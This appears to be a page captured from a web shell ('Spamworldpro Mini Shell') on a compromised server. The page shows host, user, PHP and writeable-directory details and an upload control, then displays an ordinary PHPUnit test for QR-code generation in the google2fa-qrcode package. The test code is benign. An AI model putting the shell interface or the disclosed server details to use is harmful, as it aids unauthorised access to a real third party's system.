Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/inventory.corals.io/vendor/pragmarx/google2fa-qrcode/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/inventory.corals.io/vendor/pragmarx/google2fa-qrcode/tests/Google2FATest.php
<?php

namespace PragmaRX\Google2FAQRCode\Tests;

use BaconQrCode\Renderer\Image\ImagickImageBackEnd;
use BaconQrCode\Renderer\Image\Png;
use PHPUnit\Framework\TestCase;
use PragmaRX\Google2FAQRCode\Google2FA;
use Zxing\QrReader;

class Google2FATest extends TestCase
{
    const EMAIL = '[email protected]';

    const OTP_URL = 'otpauth://totp/PragmaRX:[email protected]?secret=ADUMJO5634NPDEKW&issuer=PragmaRX';

    public function setUp()
    {
        $this->google2fa = new Google2FA();
    }

    public function readQRCode($data)
    {
        list(, $data) = explode(';', $data);

        list(, $data) = explode(',', $data);

        return rawurldecode((new QrReader(base64_decode($data), QrReader::SOURCE_TYPE_BLOB))->text());
    }

    public function testQrcodeInline()
    {
        $this->assertEquals(
            static::OTP_URL,
            $this->readQRCode($this->google2fa->getQRCodeInline('PragmaRX', static::EMAIL, Constants::SECRET))
        );

        if ($this->google2fa->getBaconQRCodeVersion() === 1) {
            $google2fa = new Google2FA(new Png());
            $this->assertEquals(
                static::OTP_URL,
                $this->readQRCode($google2fa->getQRCodeInline('PragmaRX', static::EMAIL, Constants::SECRET))
            );
        } else {
            $google2fa = new Google2FA(new ImagickImageBackEnd());
            $this->assertEquals(
                static::OTP_URL,
                $this->readQRCode($google2fa->getQRCodeInline('PragmaRX', static::EMAIL, Constants::SECRET))
            );
        }
    }
}

Spamworldpro Mini